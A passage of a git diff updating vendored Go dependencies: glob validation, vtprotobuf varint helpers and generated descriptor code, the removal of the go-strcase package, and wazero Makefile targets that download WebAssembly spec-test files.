unescaped byte `c`, or negative 1. +func indexUnescapedByte(s string, c byte, allowEscaping bool) int { + l := len(s) + for i := 0; i < l; i++ { + if allowEscaping && s[i] == '\\' { + // skip next byte + i++ + } else if s[i] == c { + return i + } + } + return -1 +} + +// Assuming the byte before the beginning of `s` is an opening `{`, this +// function will find the index of the matching `}`. That is, it'll skip over +// any nested `{}` and account for escaping +func indexMatchedClosingAlt(s string, allowEscaping bool) int { + alts := 1 + l := len(s) + for i := 0; i < l; i++ { + if allowEscaping && s[i] == '\\' { + // skip next byte + i++ + } else if s[i] == '{' { + alts++ + } else if s[i] == '}' { + if alts--; alts == 0 { + return i + } + } + } + return -1 +} + +// Validate a pattern. Patterns are validated while they run in Match(), +// PathMatch(), and Glob(), so, you normally wouldn't need to call this. +// However, there are cases where this might be useful: for example, if your +// program allows a user to enter a pattern that you'll run at a later time, +// you might want to validate it. +// +// ValidatePattern assumes your pattern uses '/' as the path separator. +func ValidatePattern(s string) bool { + return doValidatePattern(s, '/') +} + +func doValidatePattern(s string, separator rune) bool { + altDepth := 0 + l := len(s) +VALIDATE: + for i := 0; i < l; i++ { + switch s[i] { + case '\\': + if separator != '\\' { + // skip the next byte - return false if there is no next byte + if i++; i >= l { + return false + } + } + continue + + case '[': + if i++; i >= l { + // class didn't end + return false + } + if s[i] == '^' || s[i] == '!' { + i++ + } + if i >= l || s[i] == ']' { + // class didn't end or empty character class + return false + } + + for ; i < l; i++ { + if separator != '\\' && s[i] == '\\' { + i++ + } else if s[i] == ']' { + // looks good + continue VALIDATE + } + } + + // class didn't end + return false + + case '{': + altDepth++ + continue + + case '}': + if altDepth == 0 { + // alt end without a corresponding start + return false + } + altDepth-- + continue + } + } + + // valid as long as all alts are closed + return altDepth == 0 +} diff --git a/vendor/github.com/runtime-radar/vtprotobuf/protohelpers/protohelpers.go b/vendor/github.com/runtime-radar/vtprotobuf/protohelpers/protohelpers.go new file mode 100644 index 00000000..64bde83e --- /dev/null +++ b/vendor/github.com/runtime-radar/vtprotobuf/protohelpers/protohelpers.go @@ -0,0 +1,122 @@ +// Package protohelpers provides helper functions for encoding and decoding protobuf messages. +// The spec can be found at https://protobuf.dev/programming-guides/encoding/. +package protohelpers + +import ( + "fmt" + "io" + "math/bits" +) + +var ( + // ErrInvalidLength is returned when decoding a negative length. + ErrInvalidLength = fmt.Errorf("proto: negative length found during unmarshaling") + // ErrIntOverflow is returned when decoding a varint representation of an integer that overflows 64 bits. + ErrIntOverflow = fmt.Errorf("proto: integer overflow") + // ErrUnexpectedEndOfGroup is returned when decoding a group end without a corresponding group start. + ErrUnexpectedEndOfGroup = fmt.Errorf("proto: unexpected end of group") +) + +// EncodeVarint encodes a uint64 into a varint-encoded byte slice and returns the offset of the encoded value. +// The provided offset is the offset after the last byte of the encoded value. +func EncodeVarint(dAtA []byte, offset int, v uint64) int { + offset -= SizeOfVarint(v) + base := offset + for v >= 1<<7 { + dAtA[offset] = uint8(v&0x7f | 0x80) + v >>= 7 + offset++ + } + dAtA[offset] = uint8(v) + return base +} + +// SizeOfVarint returns the size of the varint-encoded value. +func SizeOfVarint(x uint64) (n int) { + return (bits.Len64(x|1) + 6) / 7 +} + +// SizeOfZigzag returns the size of the zigzag-encoded value. +func SizeOfZigzag(x uint64) (n int) { + return SizeOfVarint(uint64((x << 1) ^ uint64((int64(x) >> 63)))) +} + +// Skip the first record of the byte slice and return the offset of the next record. +func Skip(dAtA []byte) (n int, err error) { + l := len(dAtA) + iNdEx := 0 + depth := 0 + for iNdEx < l { + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return 0, ErrIntOverflow + } + if iNdEx >= l { + return 0, io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= (uint64(b) & 0x7F) << shift + if b < 0x80 { + break + } + } + wireType := int(wire & 0x7) + switch wireType { + case 0: + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return 0, ErrIntOverflow + } + if iNdEx >= l { + return 0, io.ErrUnexpectedEOF + } + iNdEx++ + if dAtA[iNdEx-1] < 0x80 { + break + } + } + case 1: + iNdEx += 8 + case 2: + var length int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return 0, ErrIntOverflow + } + if iNdEx >= l { + return 0, io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + length |= (int(b) & 0x7F) << shift + if b < 0x80 { + break + } + } + if length < 0 { + return 0, ErrInvalidLength + } + iNdEx += length + case 3: + depth++ + case 4: + if depth == 0 { + return 0, ErrUnexpectedEndOfGroup + } + depth-- + case 5: + iNdEx += 4 + default: + return 0, fmt.Errorf("proto: illegal wireType %d", wireType) + } + if iNdEx < 0 { + return 0, ErrInvalidLength + } + if depth == 0 { + return iNdEx, nil + } + } + return 0, io.ErrUnexpectedEOF +} diff --git a/vendor/github.com/runtime-radar/vtprotobuf/vtproto/ext.pb.go b/vendor/github.com/runtime-radar/vtprotobuf/vtproto/ext.pb.go new file mode 100644 index 00000000..18ef7443 --- /dev/null +++ b/vendor/github.com/runtime-radar/vtprotobuf/vtproto/ext.pb.go @@ -0,0 +1,214 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.31.0 +// protoc v7.34.1 +// source: github.com/runtime-radar/vtprotobuf/vtproto/ext.proto + +package vtproto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + descriptorpb "google.golang.org/protobuf/types/descriptorpb" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +// These options should be used during schema definition, +// applying them to some of the fields in protobuf +type Opts struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Unique *bool `protobuf:"varint,1,opt,name=unique" json:"unique,omitempty"` +} + +func (x *Opts) Reset() { + *x = Opts{} + if protoimpl.UnsafeEnabled { + mi := &file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Opts) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Opts) ProtoMessage() {} + +func (x *Opts) ProtoReflect() protoreflect.Message { + mi := &file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Opts.ProtoReflect.Descriptor instead. +func (*Opts) Descriptor() ([]byte, []int) { + return file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescGZIP(), []int{0} +} + +func (x *Opts) GetUnique() bool { + if x != nil && x.Unique != nil { + return *x.Unique + } + return false +} + +var file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_extTypes = []protoimpl.ExtensionInfo{ + { + ExtendedType: (*descriptorpb.MessageOptions)(nil), + ExtensionType: (*bool)(nil), + Field: 64101, + Name: "vtproto.mempool", + Tag: "varint,64101,opt,name=mempool", + Filename: "github.com/runtime-radar/vtprotobuf/vtproto/ext.proto", + }, + { + ExtendedType: (*descriptorpb.MessageOptions)(nil), + ExtensionType: (*bool)(nil), + Field: 64102, + Name: "vtproto.ignore_unknown_fields", + Tag: "varint,64102,opt,name=ignore_unknown_fields", + Filename: "github.com/runtime-radar/vtprotobuf/vtproto/ext.proto", + }, + { + ExtendedType: (*descriptorpb.FieldOptions)(nil), + ExtensionType: (*Opts)(nil), + Field: 64150, + Name: "vtproto.options", + Tag: "bytes,64150,opt,name=options", + Filename: "github.com/runtime-radar/vtprotobuf/vtproto/ext.proto", + }, +} + +// Extension fields to descriptorpb.MessageOptions. +var ( + // optional bool mempool = 64101; + E_Mempool = &file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_extTypes[0] + // optional bool ignore_unknown_fields = 64102; + E_IgnoreUnknownFields = &file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_extTypes[1] +) + +// Extension fields to descriptorpb.FieldOptions. +var ( + // optional vtproto.Opts options = 64150; + E_Options = &file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_extTypes[2] +) + +var File_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto protoreflect.FileDescriptor + +var file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDesc = []byte{ + 0x0a, 0x35, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x72, 0x75, 0x6e, + 0x74, 0x69, 0x6d, 0x65, 0x2d, 0x72, 0x61, 0x64, 0x61, 0x72, 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x65, 0x78, + 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x07, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x1a, 0x20, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2f, 0x64, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x6f, 0x72, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x22, 0x1e, 0x0a, 0x04, 0x4f, 0x70, 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x75, 0x6e, + 0x69, 0x71, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x75, 0x6e, 0x69, 0x71, + 0x75, 0x65, 0x3a, 0x3b, 0x0a, 0x07, 0x6d, 0x65, 0x6d, 0x70, 0x6f, 0x6f, 0x6c, 0x12, 0x1f, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0xe5, + 0xf4, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x6d, 0x65, 0x6d, 0x70, 0x6f, 0x6f, 0x6c, 0x3a, + 0x55, 0x0a, 0x15, 0x69, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x5f, 0x75, 0x6e, 0x6b, 0x6e, 0x6f, 0x77, + 0x6e, 0x5f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1f, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, + 0x67, 0x65, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0xe6, 0xf4, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x13, 0x69, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x55, 0x6e, 0x6b, 0x6e, 0x6f, 0x77, 0x6e, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x3a, 0x48, 0x0a, 0x07, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x1d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x96, 0xf5, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x76, 0x74, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x2e, 0x4f, 0x70, 0x74, 0x73, 0x52, 0x07, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x42, 0x4b, 0x0a, 0x13, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x42, 0x07, 0x56, 0x54, 0x50, 0x72, 0x6f, 0x74, 0x6f, + 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x72, 0x75, 0x6e, + 0x74, 0x69, 0x6d, 0x65, 0x2d, 0x72, 0x61, 0x64, 0x61, 0x72, 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x76, 0x74, 0x70, 0x72, 0x6f, 0x74, 0x6f, +} + +var ( + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescOnce sync.Once + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescData = file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDesc +) + +func file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescGZIP() []byte { + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescOnce.Do(func() { + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescData = protoimpl.X.CompressGZIP(file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescData) + }) + return file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDescData +} + +var file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_msgTypes = make([]protoimpl.MessageInfo, 1) +var file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_goTypes = []interface{}{ + (*Opts)(nil), // 0: vtproto.Opts + (*descriptorpb.MessageOptions)(nil), // 1: google.protobuf.MessageOptions + (*descriptorpb.FieldOptions)(nil), // 2: google.protobuf.FieldOptions +} +var file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_depIdxs = []int32{ + 1, // 0: vtproto.mempool:extendee -> google.protobuf.MessageOptions + 1, // 1: vtproto.ignore_unknown_fields:extendee -> google.protobuf.MessageOptions + 2, // 2: vtproto.options:extendee -> google.protobuf.FieldOptions + 0, // 3: vtproto.options:type_name -> vtproto.Opts + 4, // [4:4] is the sub-list for method output_type + 4, // [4:4] is the sub-list for method input_type + 3, // [3:4] is the sub-list for extension type_name + 0, // [0:3] is the sub-list for extension extendee + 0, // [0:0] is the sub-list for field type_name +} + +func init() { file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_init() } +func file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_init() { + if File_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Opts); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDesc, + NumEnums: 0, + NumMessages: 1, + NumExtensions: 3, + NumServices: 0, + }, + GoTypes: file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_goTypes, + DependencyIndexes: file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_depIdxs, + MessageInfos: file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_msgTypes, + ExtensionInfos: file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_extTypes, + }.Build() + File_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto = out.File + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_rawDesc = nil + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_goTypes = nil + file_github_com_runtime_radar_vtprotobuf_vtproto_ext_proto_depIdxs = nil +} diff --git a/vendor/github.com/stoewer/go-strcase/.gitignore b/vendor/github.com/stoewer/go-strcase/.gitignore deleted file mode 100644 index db5247b9..00000000 --- a/vendor/github.com/stoewer/go-strcase/.gitignore +++ /dev/null @@ -1,17 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -vendor -doc - -# Temporary files -*~ -*.swp - -# Editor and IDE config -.idea -*.iml -.vscode diff --git a/vendor/github.com/stoewer/go-strcase/.golangci.yml b/vendor/github.com/stoewer/go-strcase/.golangci.yml deleted file mode 100644 index 7f98d55c..00000000 --- a/vendor/github.com/stoewer/go-strcase/.golangci.yml +++ /dev/null @@ -1,26 +0,0 @@ -run: - deadline: 10m - -linters: - enable: - - dupl - - goconst - - gocyclo - - godox - - gosec - - interfacer - - lll - - maligned - - misspell - - prealloc - - stylecheck - - unconvert - - unparam - - errcheck - - golint - - gofmt - disable: [] - fast: false - -issues: - exclude-use-default: false diff --git a/vendor/github.com/stoewer/go-strcase/README.md b/vendor/github.com/stoewer/go-strcase/README.md deleted file mode 100644 index 84a640e7..00000000 --- a/vendor/github.com/stoewer/go-strcase/README.md +++ /dev/null @@ -1,50 +0,0 @@ -[![GH Actions](https://github.com/stoewer/go-strcase/actions/workflows/lint-test.yml/badge.svg?branch=master)](https://github.com/stoewer/go-strcase/actions) -[![codecov](https://codecov.io/github/stoewer/go-strcase/branch/master/graph/badge.svg?token=c0UokYnop5)](https://codecov.io/github/stoewer/go-strcase) -[![GoDoc](https://godoc.org/github.com/stoewer/go-strcase?status.svg)](https://pkg.go.dev/github.com/stoewer/go-strcase) ---- - -Go strcase -========== - -The package `strcase` converts between different kinds of naming formats such as camel case -(`CamelCase`), snake case (`snake_case`) or kebab case (`kebab-case`). -The package is designed to work only with strings consisting of standard ASCII letters. -Unicode is currently not supported. - -Versioning and stability ------------------------- - -Although the master branch is supposed to remain always backward compatible, the repository -contains version tags in order to support vendoring tools. -The tag names follow semantic versioning conventions and have the following format `v1.0.0`. -This package supports Go modules introduced with version 1.11. - -Example -------- - -```go -import "github.com/stoewer/go-strcase" - -var snake = strcase.SnakeCase("CamelCase") -``` - -Dependencies ------------- - -### Build dependencies - -* none - -### Test dependencies - -* `github.com/stretchr/testify` - -Run linters and unit tests --------------------------- - -To run the static code analysis, linters and tests use the following commands: - -``` -golangci-lint run --config .golangci.yml ./... -go test ./... -``` diff --git a/vendor/github.com/stoewer/go-strcase/camel.go b/vendor/github.com/stoewer/go-strcase/camel.go deleted file mode 100644 index ff9e66e0..00000000 --- a/vendor/github.com/stoewer/go-strcase/camel.go +++ /dev/null @@ -1,40 +0,0 @@ -// Copyright (c) 2017, A. Stoewer -// All rights reserved. - -package strcase - -import ( - "strings" -) - -// UpperCamelCase converts a string into camel case starting with a upper case letter. -func UpperCamelCase(s string) string { - return camelCase(s, true) -} - -// LowerCamelCase converts a string into camel case starting with a lower case letter. -func LowerCamelCase(s string) string { - return camelCase(s, false) -} - -func camelCase(s string, upper bool) string { - s = strings.TrimSpace(s) - buffer := make([]rune, 0, len(s)) - - stringIter(s, func(prev, curr, next rune) { - if !isDelimiter(curr) { - if isDelimiter(prev) || (upper && prev == 0) { - buffer = append(buffer, toUpper(curr)) - } else if isLower(prev) { - buffer = append(buffer, curr) - } else if isUpper(prev) && isUpper(curr) && isLower(next) { - // Assume a case like "R" for "XRequestId" - buffer = append(buffer, curr) - } else { - buffer = append(buffer, toLower(curr)) - } - } - }) - - return string(buffer) -} diff --git a/vendor/github.com/stoewer/go-strcase/doc.go b/vendor/github.com/stoewer/go-strcase/doc.go deleted file mode 100644 index 3e441ca3..00000000 --- a/vendor/github.com/stoewer/go-strcase/doc.go +++ /dev/null @@ -1,8 +0,0 @@ -// Copyright (c) 2017, A. Stoewer -// All rights reserved. - -// Package strcase converts between different kinds of naming formats such as camel case -// (CamelCase), snake case (snake_case) or kebab case (kebab-case). The package is designed -// to work only with strings consisting of standard ASCII letters. Unicode is currently not -// supported. -package strcase diff --git a/vendor/github.com/stoewer/go-strcase/helper.go b/vendor/github.com/stoewer/go-strcase/helper.go deleted file mode 100644 index ecad5891..00000000 --- a/vendor/github.com/stoewer/go-strcase/helper.go +++ /dev/null @@ -1,71 +0,0 @@ -// Copyright (c) 2017, A. Stoewer -// All rights reserved. - -package strcase - -// isLower checks if a character is lower case. More precisely it evaluates if it is -// in the range of ASCII character 'a' to 'z'. -func isLower(ch rune) bool { - return ch >= 'a' && ch <= 'z' -} - -// toLower converts a character in the range of ASCII characters 'A' to 'Z' to its lower -// case counterpart. Other characters remain the same. -func toLower(ch rune) rune { - if ch >= 'A' && ch <= 'Z' { - return ch + 32 - } - return ch -} - -// isLower checks if a character is upper case. More precisely it evaluates if it is -// in the range of ASCII characters 'A' to 'Z'. -func isUpper(ch rune) bool { - return ch >= 'A' && ch <= 'Z' -} - -// toLower converts a character in the range of ASCII characters 'a' to 'z' to its lower -// case counterpart. Other characters remain the same. -func toUpper(ch rune) rune { - if ch >= 'a' && ch <= 'z' { - return ch - 32 - } - return ch -} - -// isSpace checks if a character is some kind of whitespace. -func isSpace(ch rune) bool { - return ch == ' ' || ch == '\t' || ch == '\n' || ch == '\r' -} - -// isDelimiter checks if a character is some kind of whitespace or '_' or '-'. -func isDelimiter(ch rune) bool { - return ch == '-' || ch == '_' || isSpace(ch) -} - -// iterFunc is a callback that is called fro a specific position in a string. Its arguments are the -// rune at the respective string position as well as the previous and the next rune. If curr is at the -// first position of the string prev is zero. If curr is at the end of the string next is zero. -type iterFunc func(prev, curr, next rune) - -// stringIter iterates over a string, invoking the callback for every single rune in the string. -func stringIter(s string, callback iterFunc) { - var prev rune - var curr rune - for _, next := range s { - if curr == 0 { - prev = curr - curr = next - continue - } - - callback(prev, curr, next) - - prev = curr - curr = next - } - - if len(s) > 0 { - callback(prev, curr, 0) - } -} diff --git a/vendor/github.com/stoewer/go-strcase/kebab.go b/vendor/github.com/stoewer/go-strcase/kebab.go deleted file mode 100644 index e9a64875..00000000 --- a/vendor/github.com/stoewer/go-strcase/kebab.go +++ /dev/null @@ -1,14 +0,0 @@ -// Copyright (c) 2017, A. Stoewer -// All rights reserved. - -package strcase - -// KebabCase converts a string into kebab case. -func KebabCase(s string) string { - return delimiterCase(s, '-', false) -} - -// UpperKebabCase converts a string into kebab case with capital letters. -func UpperKebabCase(s string) string { - return delimiterCase(s, '-', true) -} diff --git a/vendor/github.com/stoewer/go-strcase/snake.go b/vendor/github.com/stoewer/go-strcase/snake.go deleted file mode 100644 index 1b216e20..00000000 --- a/vendor/github.com/stoewer/go-strcase/snake.go +++ /dev/null @@ -1,58 +0,0 @@ -// Copyright (c) 2017, A. Stoewer -// All rights reserved. - -package strcase - -import ( - "strings" -) - -// SnakeCase converts a string into snake case. -func SnakeCase(s string) string { - return delimiterCase(s, '_', false) -} - -// UpperSnakeCase converts a string into snake case with capital letters. -func UpperSnakeCase(s string) string { - return delimiterCase(s, '_', true) -} - -// delimiterCase converts a string into snake_case or kebab-case depending on the delimiter passed -// as second argument. When upperCase is true the result will be UPPER_SNAKE_CASE or UPPER-KEBAB-CASE. -func delimiterCase(s string, delimiter rune, upperCase bool) string { - s = strings.TrimSpace(s) - buffer := make([]rune, 0, len(s)+3) - - adjustCase := toLower - if upperCase { - adjustCase = toUpper - } - - var prev rune - var curr rune - for _, next := range s { - if isDelimiter(curr) { - if !isDelimiter(prev) { - buffer = append(buffer, delimiter) - } - } else if isUpper(curr) { - if isLower(prev) || (isUpper(prev) && isLower(next)) { - buffer = append(buffer, delimiter) - } - buffer = append(buffer, adjustCase(curr)) - } else if curr != 0 { - buffer = append(buffer, adjustCase(curr)) - } - prev = curr - curr = next - } - - if len(s) > 0 { - if isUpper(curr) && isLower(prev) && prev != 0 { - buffer = append(buffer, delimiter) - } - buffer = append(buffer, adjustCase(curr)) - } - - return string(buffer) -} diff --git a/vendor/github.com/tetratelabs/wazero/Makefile b/vendor/github.com/tetratelabs/wazero/Makefile index b33fdd4e..f8cdc4a6 100644 --- a/vendor/github.com/tetratelabs/wazero/Makefile +++ b/vendor/github.com/tetratelabs/wazero/Makefile @@ -108,23 +108,49 @@ internal/testing/dwarftestdata/testdata/rust/main.wasm.xz: @mv $(@D)/target/$(cargo_target)/release/$(@F) $(@D) spectest_base_dir := internal/integration_test/spectest + spectest_v1_dir := $(spectest_base_dir)/v1 spectest_v1_testdata_dir := $(spectest_v1_dir)/testdata spec_version_v1 := wg-1.0 + spectest_v2_dir := $(spectest_base_dir)/v2 spectest_v2_testdata_dir := $(spectest_v2_dir)/testdata -# Latest draft state as of March 12, 2024. -spec_version_v2 := 1c5e5d178bd75c79b7a12881c529098beaee2a05 +spec_version_v2 := wg-2.0 + spectest_threads_dir := $(spectest_base_dir)/threads spectest_threads_testdata_dir := $(spectest_threads_dir)/testdata -# From https://github.com/WebAssembly/threads/tree/upstream-rebuild which has not been merged to main yet. -# It will likely be renamed to main in the future - https://github.com/WebAssembly/threads/issues/216. -spec_version_threads := 3635ca51a17e57e106988846c5b0e0cc48ac04fc +spec_version_threads := ff17701446d8e2086142423ef77ae947a025e26f + +spectest_tail_call_dir := $(spectest_base_dir)/tail-call +spectest_tail_call_testdata_dir := $(spectest_tail_call_dir)/testdata +spec_version_tail_call := 88e97b0f742f4c3ee01fea683da130f344dd7b02 + +spectest_extended_const_dir := $(spectest_base_dir)/extended-const +spectest_extended_const_testdata_dir := $(spectest_extended_const_dir)/testdata + +spectest_exception_handling_dir := $(spectest_base_dir)/exception-handling +spectest_exception_handling_testdata_dir := $(spectest_exception_handling_dir)/testdata +spec_version_exception_handling := 13734f8fb871a5dab939070f893adbd90bffe28c + +spectest_typed_function_references_dir := $(spectest_base_dir)/typed-function-references +spectest_typed_function_references_testdata_dir := $(spectest_typed_function_references_dir)/testdata +spec_version_typed_function_references := 74d2ec81d15efd3c0f2fba46a023f376101d8e46 +typed_function_references_wast_files := \ + br_on_non_null.wast br_on_null.wast br_table.wast call_ref.wast elem.wast \ + func.wast linking.wast local_init.wast ref.wast ref_as_non_null.wast \ + ref_func.wast ref_is_null.wast ref_null.wast return_call_indirect.wast \ + return_call_ref.wast return_call.wast select.wast table-sub.wast table.wast \ + type-equivalence.wast unreached-invalid.wast unreached-valid.wast .PHONY: build.spectest build.spectest: @$(MAKE) build.spectest.v1 @$(MAKE) build.spectest.v2 + @$(MAKE) build.spectest.threads + @$(MAKE) build.spectest.tail_call + @$(MAKE) build.spectest.extended_const + @$(MAKE) build.spectest.exception_handling + @$(MAKE) build.spectest.typed_function_references .PHONY: build.spectest.v1 build.spectest.v1: # Note: wabt by default uses >1.0 features, so wast2json flags might drift as they include more. See WebAssembly/wabt#1878 @@ -155,6 +181,7 @@ build.spectest.v1: # Note: wabt by default uses >1.0 features, so wast2json flag .PHONY: build.spectest.v2 build.spectest.v2: # Note: SIMD cases are placed in the "simd" subdirectory. + @rm -rf $(spectest_v2_testdata_dir) @mkdir -p $(spectest_v2_testdata_dir) @cd $(spectest_v2_testdata_dir) \ && curl -sSL 'https://api.github.com/repos/WebAssembly/spec/contents/test/core?ref=$(spec_version_v2)' | jq -r '.[]| .download_url' | grep -E ".wast" | xargs -Iurl curl -sJL url -O @@ -168,13 +195,53 @@ build.spectest.v2: # Note: SIMD cases are placed in the "simd" subdirectory. # https://github.com/WebAssembly/wabt/issues/2348#issuecomment-1878003959 .PHONY: build.spectest.threads build.spectest.threads: + @rm -rf $(spectest_threads_testdata_dir) @mkdir -p $(spectest_threads_testdata_dir) @cd $(spectest_threads_testdata_dir) \ - && curl -sSL 'https://api.github.com/repos/WebAssembly/threads/contents/test/core?ref=$(spec_version_threads)' | jq -r '.[]| .download_url' | grep -E "atomic.wast" | xargs -Iurl curl -sJL url -O + && curl -sSL 'https://api.github.com/repos/WebAssembly/threads/contents/test/core/threads?ref=$(spec_version_threads)' | jq -r '.[]| .download_url' | grep -E "/atomic.wast" | xargs -Iurl curl -sJL url -O @cd $(spectest_threads_testdata_dir) && for f in `find . -name '*.wast'`; do \ wast2json --enable-threads --debug-names $$f; \ done +.PHONY: build.spectest.extended_const +build.spectest.extended_const: + @cd $(spectest_extended_const_testdata_dir) && for f in `find . -name '*.wast'`; do \ + wast2json --enable-extended-const --debug-names $$f; \ + done + +.PHONY: build.spectest.tail_call +build.spectest.tail_call: + @rm -rf $(spectest_tail_call_testdata_dir) + @mkdir -p $(spectest_tail_call_testdata_dir) + @cd $(spectest_tail_call_testdata_dir) \ + && curl -sSL 'https://api.github.com/repos/WebAssembly/testsuite/contents/proposals/tail-call?ref=$(spec_version_tail_call)' | jq -r '.[]| .download_url' | grep -E ".wast" | xargs -Iurl curl -sJL url -O + @cd $(spectest_tail_call_testdata_dir) && for f in `find . -name '*.wast'`; do \ + wast2json --enable-tail-call --debug-names $$f; \ + done + +.PHONY: build.spectest.exception_handling +build.spectest.exception_handling: + @rm -rf $(spectest_exception_handling_testdata_dir) + @mkdir -p $(spectest_exception_handling_testdata_dir) + @cd $(spectest_exception_handling_testdata_dir) \ + && curl -sSL 